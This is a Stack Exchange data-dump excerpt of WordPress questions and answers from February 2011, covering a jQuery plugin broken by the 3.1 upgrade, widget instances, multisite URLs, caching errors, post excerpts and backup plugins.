  <row Id="10591" PostTypeId="1" CreationDate="2011-02-27T15:04:04.663" Score="0" ViewCount="547" Body="&lt;p&gt;After installed Wordpress 3.1, a jquery plugin &lt;a href=&quot;http://info.wsisiz.edu.pl/~suszynsk/jQuery/demos/jquery-selectbox/&quot; rel=&quot;nofollow&quot;&gt;selectbox&lt;/a&gt; i'm using not work 100 percent any more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this plugin in wordpress backend to replace my &lt;code&gt;&amp;lt;select&amp;gt;&amp;lt;/select&amp;gt;&lt;/code&gt; with custom html codes on which i can apply css, but with wordpress 3.1, a lot of &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; don't get replaced 100%, &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; are missing in the replaced codes, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;  &amp;lt;option (some attributes...)&amp;gt;text&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option (some attributes...)&amp;gt;text&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is supposed to be replaced with (actually not replace, the original &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; will be hide)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;jquery-selectbox&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;jquery-selectbox-moreButton&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;jquery-selectbox-list jquery-custom-selectboxes-replaced-list&quot;&amp;gt;&#xA;  &amp;lt;span&amp;gt;text&amp;lt;/span&amp;gt; /* option 1 */&#xA;  &amp;lt;span&amp;gt;text&amp;lt;/span&amp;gt; /* option 2 */&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;span class=&quot;jquery-selectbox-currentItem&quot;&amp;gt;text of selected option&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while actual result is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;jquery-selectbox&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;jquery-selectbox-moreButton&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;jquery-selectbox-list jquery-custom-selectboxes-replaced-list&quot;&amp;gt;&#xA;  /* nothing here */&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;span class=&quot;jquery-selectbox-currentItem&quot;&amp;gt;nothing here&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;weird thing is there are still quite a few &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; do get 100% replaced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried rollbacked to wordpress 3.0 and reinstall wordpress 3.1 twice, the script works perfectly once rollback to 3.0 and as long as 3.1 is intalled, the issue occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are no wp plugins in my test site and the jquery library is loaded completely first, my other scripts all works well. Seached a lot and no luck, but i found where the issue happens, have no idea why it goes that way though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return this.each(function() { // for each &amp;lt;select&amp;gt;&#xA;    var _this = jQuery(this);&#xA;        ... // I added an alert here, alert(_this.attr('id')), to print &amp;lt;select&amp;gt; id, and all &amp;lt;select&amp;gt; id are catched&#xA;        jQuery('option', _this).each(function(k,v){&#xA;            ... // I added a same alert at first line this function, only replaced 100% &amp;lt;select&amp;gt; id are catched&#xA;        }); &#xA;        ...&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the plugin codes do replacement, for all not get 100% replaced &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;, the line i commented above doesn't get implemented, looks like just be jumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Update]&lt;/strong&gt;&#xA;I removed all other scripts and the plugin, here is the only codes left in my script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  jQuery('#myadmin select').each(function() {&#xA;      jQuery(this).find('option').addClass('huh?');&#xA;  });&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All options in those were not replaced 100% &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; do not get the class 'huh?'&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Update 2]&lt;/strong&gt;&#xA;I changed the script in Update 1 to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  jQuery('select option').addClass('huh?');&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Guess what? All &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; got this class 'huh?'. It turns out like something about jQuery, but why WP 3.1?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Resolved]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP 3.1 upgrade jQuery version to 1.4.4, i deregistered it and bring back jQuery 1.4.2 on my page, everything is ok now, all &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; get replaced 100%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;last question is how do i mark this question as resolved?&lt;/p&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="2426" LastEditorDisplayName="" LastEditDate="2011-02-28T05:34:36.537" LastActivityDate="2011-02-28T05:41:20.807" Title="Weird jquery problem when upgrade to Wordpress 3.1" Tags="&lt;admin&gt;&lt;jquery&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="10592" PostTypeId="1" CreationDate="2011-02-27T15:41:46.257" Score="0" ViewCount="249" Body="&lt;p&gt;I have multiple sidebars, based on different pages. How can I get &lt;a href=&quot;http://wordpress.org/extend/plugins/wp125/&quot; rel=&quot;nofollow&quot;&gt;the WP125 widget&lt;/a&gt; to show on all of them?? Once I add it to one sidebar, it is unavailable to put on others (like many other widgets by the way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify, just multiple instances of the widget with the same content. In other words, the same widget but on more than one page (with different sidebars) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below the registration function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Create Widget&#xA;function wp125_create_ad_widget() {&#xA;        register_sidebar_widget(__('WP125'), 'wp125_write_ads_widget');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below the line I added to see if another widget is created in the widget area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        register_sidebar_widget(__('WP125-2'), 'wp125_write_ads_widget'); //nothing happens with this line added.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp125/tags/1.4.0/wp125.php#L48&quot; rel=&quot;nofollow&quot;&gt;The rest of the wp125.php file&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp125_write_ads_widget($args) {&#xA;        extract($args);&#xA;        echo $before_widget;&#xA;        if (get_option(&quot;wp125_widget_title&quot;)!='') {&#xA;                echo &quot;\n&quot;.$before_title; echo get_option(&quot;wp125_widget_title&quot;); echo $after_title;&#xA;        }&#xA;        wp125_write_ads();&#xA;        echo $after_widget;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T14:06:47.517" LastActivityDate="2011-05-31T14:06:47.517" Title="How to show multiple instances of the WP125 Widget?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;sidebar&gt;&lt;plugin-wp125&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10593" PostTypeId="1" CreationDate="2011-02-27T16:04:05.830" Score="0" ViewCount="79" Body="&lt;p&gt;I am moving one of the sites from domain mapping to subdirectory mapping.  Two network wordpress installations.  What things I should be careful about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few more bits of information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am physically moving the site.&lt;/li&gt;&#xA;&lt;li&gt;I am also changing the multi-site approach from sub-domain to sub-folder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-02-27T20:47:41.183" LastActivityDate="2011-08-27T01:35:16.150" Title="What to be careful when moving a site from domain mapping to subdirectory mapping?" Tags="&lt;multisite&gt;&lt;import&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="10594" PostTypeId="1" AcceptedAnswerId="10596" CreationDate="2011-02-27T16:32:59.770" Score="12" ViewCount="1294" Body="&lt;p&gt;As responsible professionals there has to be a line where we say, WordPress is not supposed to be used for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When is WordPress &lt;em&gt;not&lt;/em&gt; the answer?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-27T17:13:24.483" LastActivityDate="2011-08-11T22:25:29.337" Title="When Should we NOT Recommend a Client use WordPress?" Tags="&lt;best-practices&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="10595" PostTypeId="2" ParentId="10592" CreationDate="2011-02-27T16:47:16.607" Score="1" ViewCount="" Body="&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the widget yourself with the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;&quot;new&quot; widget api&lt;/a&gt; as a class an it will be multiple instance widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or find the line that registers the widget and register the same widget with a new name for example find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar_widget(array('Content License', 'widgets'), 'widget_cc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar_widget(array('Content License 1', 'widgets'), 'widget_cc');&#xA;register_sidebar_widget(array('Content License 2', 'widgets'), 'widget_cc');&#xA;register_sidebar_widget(array('Content License 3', 'widgets'), 'widget_cc');&#xA;register_sidebar_widget(array('Content License 4', 'widgets'), 'widget_cc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-27T16:47:16.607" CommentCount="2" />
  <row Id="10596" PostTypeId="2" ParentId="10594" CreationDate="2011-02-27T17:11:37.777" Score="15" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Geo:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;strong&gt;a huge proponent of using WordPress for content management&lt;/strong&gt; use-cases that surprise the many people who believe WordPress is only a blog, I've had many opportunities to defend it's use which has also allowed me to recognize where it is not useful. Here are the main areas where I've come to believe WordPress is in-fact not the best solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Non CMS-related Software-as-a-Service:&lt;/strong&gt; If you are building a solution that is primarily not about content management, or your content architecture looks very different from posts, pages and comments then you are probably better off building a fully custom website architecture on a &lt;em&gt;framework&lt;/em&gt; such as &lt;a href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow&quot;&gt;CodeIgnitor&lt;/a&gt;.  Examples could include Twitter, Twillio, MailChimp, FreshBooks, etc. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Complex and/or Innovative e-Commerce:&lt;/strong&gt; If you need an eCommerce website with very complex requirements &lt;em&gt;(multi-currency, multi-sourcing, multi-payment, etc.)&lt;/em&gt; or if innovations in online retailing are core to your success, such as Esty.com don't plan to use WordPress. WordPress rocks for setting up a basic online store, but if your business lives and dies by it's online sales, especially if your online revenues exceed US$1 million then WordPress is probably not your best solution. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enterprise Intranet Solutions:&lt;/strong&gt; While WordPress can be easily coerced into doing many things I would instead recommend something like SharePoint for large, complex use-cases, regardless of how much I dislike SharePoint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Complex and Enterprise-Scale Content Management:&lt;/strong&gt; If you need to track and management tens of thousands of documents with hundreds of complex workflow rules and tens of distinct roles for thousands of people, you'll want to kill yourself for trying to manage it with WordPress. WordPress simply does not have the tools built in yet to make this viable, although someday in the not too distant future it may.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Highly Collaborative/Social Sites:&lt;/strong&gt; This last one may be controversial but I'll run with it and I'm not talking about use-cases that including commenting; clearly WordPress excels at that. But if you need a site that is highly collaborative such as for wikis-style editing and or for a community hub, I don't think WordPress can do a good job (&lt;em&gt;yet?&lt;/em&gt;) Yes WordPress has some wiki features but it simply hasn't been optimized for that use-case.  And yes there is &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt; but I'm not yet sold on it's utility. I've tried to set it up but really struggled with it. Unlike WordPress, which is lean, focused and flexible, BuddyPress seems to me to be highly coupled, complex and constrained making it a risky move unless &lt;em&gt;&quot;out-of-the-box&quot;&lt;/em&gt; BuddyPress fits the use-case to a &lt;em&gt;&quot;T&quot;&lt;/em&gt;. All in my opinion, of course. :)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So that's what I've identified as use-cases for which I can't &lt;em&gt;(currently?)&lt;/em&gt; recommend WordPress. And there are probably use-cases I didn't capture. However, &lt;strong&gt;for most use-cases&lt;/strong&gt; on the web &lt;strong&gt;WordPress &lt;em&gt;IS&lt;/em&gt; the best solution&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even for some of those anti-use-cases above, you may still want to use WordPress for &lt;em&gt;(a portion of)&lt;/em&gt; your corporate website and/or for microsites, just don't try to use it as key critical infrastructure component for one of the use-cases mentioned above.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-27T17:11:37.777" CommentCount="6" />
  <row Id="10597" PostTypeId="2" ParentId="10182" CreationDate="2011-02-27T17:20:04.173" Score="2" ViewCount="" Body="&lt;p&gt;I created my own plugin and it's now &lt;a href=&quot;http://wordpress.org/extend/plugins/logstore/&quot; rel=&quot;nofollow&quot;&gt;available from in the repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Edit: The plugin moved to its new home under the right name, so packaging and auto-update should be fine.)&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-28T14:18:25.240" LastActivityDate="2011-02-28T14:18:25.240" CommentCount="1" />
  <row Id="10598" PostTypeId="1" CreationDate="2011-02-27T17:51:15.870" Score="0" ViewCount="82" Body="&lt;p&gt;The new Feature &quot;Internal Linking&quot; is only showing already published posts. If writing a series of posts planned for future publishing, these posts are not showing up in the list.&#xA;Is there any hook or other possibilities to change the posts aggregated for the list in the tinyMCE-Editor?&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-08-27T05:35:19.393" Title="How to add future Posts to the new &quot;Internal Linking&quot; Feature" Tags="&lt;posts&gt;&lt;tinymce&gt;&lt;linking&gt;" AnswerCount="1" />
  <row Id="10599" PostTypeId="1" AcceptedAnswerId="10870" CreationDate="2011-02-27T18:27:03.897" Score="0" ViewCount="273" Body="&lt;p&gt;My multisite (network) installation has 3 sites.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the main site (nothing there, just very brief information)&lt;/li&gt;&#xA;&lt;li&gt;client 1 site -- siteurl/client1&lt;/li&gt;&#xA;&lt;li&gt;client 2 site -- siteurl/client2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With domain mapper, siteurl/client# changed to clientdomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to that point all is good.  Now I want to change siteurl to mydomain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-09-01T04:07:22.260" Title="How to change the main site url on a multisite installation (network)?" Tags="&lt;multisite&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;network&gt;" AnswerCount="3" />
  <row Id="10601" PostTypeId="1" CreationDate="2011-02-27T18:27:21.423" Score="0" ViewCount="199" Body="&lt;p&gt;I want to use W3 Total Cache plugin. Installed plugin succesfully but i'm trying to enable Page Caching and i'm getting this error :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Page caching is not available:&#xA;  advanced-cache.php is not installed.&#xA;  Either the&#xA;  /home/content/92/7450992/html/wp-content&#xA;  directory is not write-able or you&#xA;  have another caching plugin installed.&#xA;  This error message will automatically&#xA;  disappear once the change is&#xA;  successfully made.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Plugin can't create advanced-cache.php to wp-content. wp-content's CHMOD is 777 but still same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea ?&lt;/p&gt;&#xA;" OwnerUserId="3552" LastActivityDate="2011-04-28T19:42:10.057" Title="W3 Total Cache can't create files" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="10602" PostTypeId="1" CreationDate="2011-02-27T18:31:03.073" Score="1" ViewCount="189" Body="&lt;p&gt;For my WordPress theme I have a custom portfolio post type and a portfolio page template to display them. What I want to do is add a meta box to the edit page area, but only when the page has the portfolio template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T22:16:41.680" LastActivityDate="2011-04-30T17:47:02.263" Title="Change meta box when the page's template is changed" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="10603" PostTypeId="2" ParentId="8554" CreationDate="2011-02-27T18:51:44.343" Score="0" ViewCount="" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/automatic-wordpress-backup/&quot; rel=&quot;nofollow&quot;&gt;Automatic WordPress Backup&lt;/a&gt; and it works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It let's you schedule it and it takes both the database and the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if it works for you.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-02-27T18:51:44.343" CommentCount="1" />
  <row Id="10604" PostTypeId="1" AcceptedAnswerId="10642" CreationDate="2011-02-27T18:55:16.710" Score="1" ViewCount="357" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8554/what-is-the-best-wordpress-plugin-for-amazon-s3-backups/10603#10603&quot;&gt;Related to this question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using Automatic WP backup.  It works ok.  Now I am looking for something more comprehensive and granular.  A plugin that let's me choose the sites to backup inside my network, the type of content, the granularity on restores. ETC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of things that I will like to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Schedule a backup, with notification to owners (site owners)&lt;/li&gt;&#xA;&lt;li&gt;Verification of the backup (that it will work once I need it).&lt;/li&gt;&#xA;&lt;li&gt;That I can change variables important to restore in different webhost&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-02-27T19:03:42.413" LastActivityDate="2011-02-28T00:53:38.533" Title="What is the most comprehensive backup plugin for WordPress (it does not have to be free)?" Tags="&lt;multisite&gt;&lt;network&gt;&lt;backup&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10605" PostTypeId="2" ParentId="10601" CreationDate="2011-02-27T18:57:13.737" Score="1" ViewCount="" Body="&lt;p&gt;Had you verified that there is no &lt;code&gt;advanced-cache.php&lt;/code&gt; already there from another plugin (or as leftover of one)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to copy this file manually from W3TC folder: &lt;code&gt;wp-content\plugins\w3-total-cache\wp-content\&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-27T18:57:13.737" CommentCount="2" />
  <row Id="10606" PostTypeId="1" CreationDate="2011-02-27T18:59:33.790" Score="0" ViewCount="190" Body="&lt;p&gt;My &lt;a href=&quot;http://www.jameselsey.co.uk&quot; rel=&quot;nofollow&quot;&gt;home page&lt;/a&gt; lists all my recent posts, however it displays each post in its entirety. Is there any way I can force it to just show a preview, such as the first 10 lines?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would enable views to quickly scroll through and see the topics recently blogged, rather than having to scroll through a recent post which is incredibly large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this also helps with more Ad impressions I believe)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Settings &gt; Reading, there is the following option &lt;code&gt;For each article in a feed, show ...Full Text / Summary&lt;/code&gt; but I think this is only for feeds (RSS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="763" LastActivityDate="2011-02-27T20:16:39.933" Title="How can I make my posts on my home page just show summaries?" Tags="&lt;homepage&gt;&lt;3.0.3&gt;" AnswerCount="3" />
  <row Id="10607" PostTypeId="2" ParentId="10568" CreationDate="2011-02-27T19:16:41.607" Score="2" ViewCount="" Body="&lt;p&gt;There's an update &lt;a href=&quot;http://fthrwght.com/autofocus/&quot; rel=&quot;nofollow&quot;&gt;available&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T19:16:41.607" CommentCount="2" />
  <row Id="10608" PostTypeId="2" ParentId="10604" CreationDate="2011-02-27T19:17:42.970" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Geo:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably &lt;a href=&quot;http://vaultpress.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;VaultPress&lt;/strong&gt;&lt;/a&gt;.  If that's too expensive, try &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BackupBuddy&lt;/strong&gt;&lt;/a&gt;. Those are the ones I've heard the most positive feedback about.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-27T19:17:42.970" CommentCount="2" />
  <row Id="10609" PostTypeId="2" ParentId="10606" CreationDate="2011-02-27T19:41:51.293" Score="2" ViewCount="" Body="&lt;p&gt;First you can use the more-Tag when writing the post. WordPress will only Show the Part before the more-Tag and Show a Read-more-Link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can open the file with the Loop in the Active theme (normally index.php), Search for the_content(...) and replace it with the_excerpt().&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-02-27T19:41:51.293" />
  <row Id="10610" PostTypeId="2" ParentId="10606" CreationDate="2011-02-27T19:48:33.143" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function my_home_excerpt_length($length) {&#xA;    return 500; //about ten lines&#xA;}&#xA;&#xA;function my_home_post_cropper($content) {&#xA;    if (!is_page() &amp;amp;&amp;amp; (is_front_page() || is_home())) {&#xA;        add_filter('excerpt_length', 'my_home_excerpt_length');&#xA;        $content = wp_trim_excerpt($content);&#xA;        remove_filter('excerpt_length', 'my_home_excerpt_length');&#xA;    }&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter('the_content', 'my_home_post_cropper', 99); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T19:48:33.143" />
  <row Id="10611" PostTypeId="2" ParentId="10554" CreationDate="2011-02-27T19:59:46.477" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps the Feed is too large. FeedBurner has a limit of 512kByte. Try to use fewer Posts (e.g. 5) or remove the images from the Posts within the Feed.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-02-27T19:59:46.477" CommentCount="1" />
  <row Id="10612" PostTypeId="2" ParentId="10606" CreationDate="2011-02-27T20:16:39.933" Score="1" ViewCount="" Body="&lt;p&gt;You might make use of the excerpt field on the post editing page to contain your post summary - this way, you can write specifically what you want to be shown on the homepage. You can then display the custom except by calling &lt;code&gt;the_excerpt()&lt;/code&gt; in your homepage template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this gives you more control than a text truncating solution as has been suggested.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-02-27T20:16:39.933" />
  <row Id="10613" PostTypeId="2" ParentId="10594" CreationDate="2011-02-27T20:22:38.897" Score="7" ViewCount="" Body="&lt;p&gt;I'll provide a point opposite to what Mike Schinkel laid out. He looked at high-scale or complex situations, I'll mention the opposite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress is a great solution for sites that are non-trivial and/or frequently updated. If the planned site is very small/simple, or frequent updates are not planned, using WordPress may well be overkill. Sites that may fall under this classification could include brochure sites, or business card sites. No need for a database or anything complex here.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-02-27T20:22:38.897" />
  <row Id="10614" PostTypeId="2" ParentId="10602" CreationDate="2011-02-27T20:28:41.153" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function my_portfolio_meta_box_cb($post) {&#xA;     $template = get_post_meta($post-&amp;gt;ID, '_wp_page_template', true);&#xA;     if ($template == 'portfolio.php') {&#xA;         add_meta_box(........);&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hook this via the &lt;code&gt;register_meta_box_cb&lt;/code&gt; arg when registering the post type or in your manually via &lt;code&gt;add_meta_boxes-portfolio&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T20:28:41.153" CommentCount="1" />
  <row Id="10615" PostTypeId="2" ParentId="10599" CreationDate="2011-02-27T20:31:25.240" Score="1" ViewCount="" Body="&lt;p&gt;A very extensive search &amp;amp; replace (with regex if needed) in the entire db. Yes, everything. Yes, it's a pain.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-27T20:31:25.240" CommentCount="1" />
  <row Id="10616" PostTypeId="2" ParentId="10078" CreationDate="2011-02-27T20:31:38.210" Score="0" ViewCount="" Body="&lt;p&gt;It is the file style.css.&#xA;You can use the classes left, right and center to avoid text beside the image. Because images a normally defined as inline.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-02-27T20:31:38.210" CommentCount="1" />
  <row Id="10617" PostTypeId="1" AcceptedAnswerId="10627" CreationDate="2011-02-27T20:42:01.797" Score="0" ViewCount="17" Body="&lt;p&gt;I am going to submit my first plugin to the repository. How do I find out the Requires tag value for which my plugin would work? I know its somewhat vague, but how do you guys figure out? Like my plugin just add some info in the head section. The only thing required for its functionality is &lt;code&gt;wp_head&lt;/code&gt; hook. So I just did a grep and checked the inline documentation that it was introduced in WP v1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So am I right? This is how I should be doing it? Any tips?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-27T21:13:59.540" Title="Find out Requires WP tag for a plugin when submitting it" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="10619" PostTypeId="2" ParentId="10593" CreationDate="2011-02-27T20:45:39.220" Score="0" ViewCount="" Body="&lt;p&gt;Are you physically moving it or just re-mapping it? Or un mapping it?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-27T20:45:39.220" CommentCount="1" />
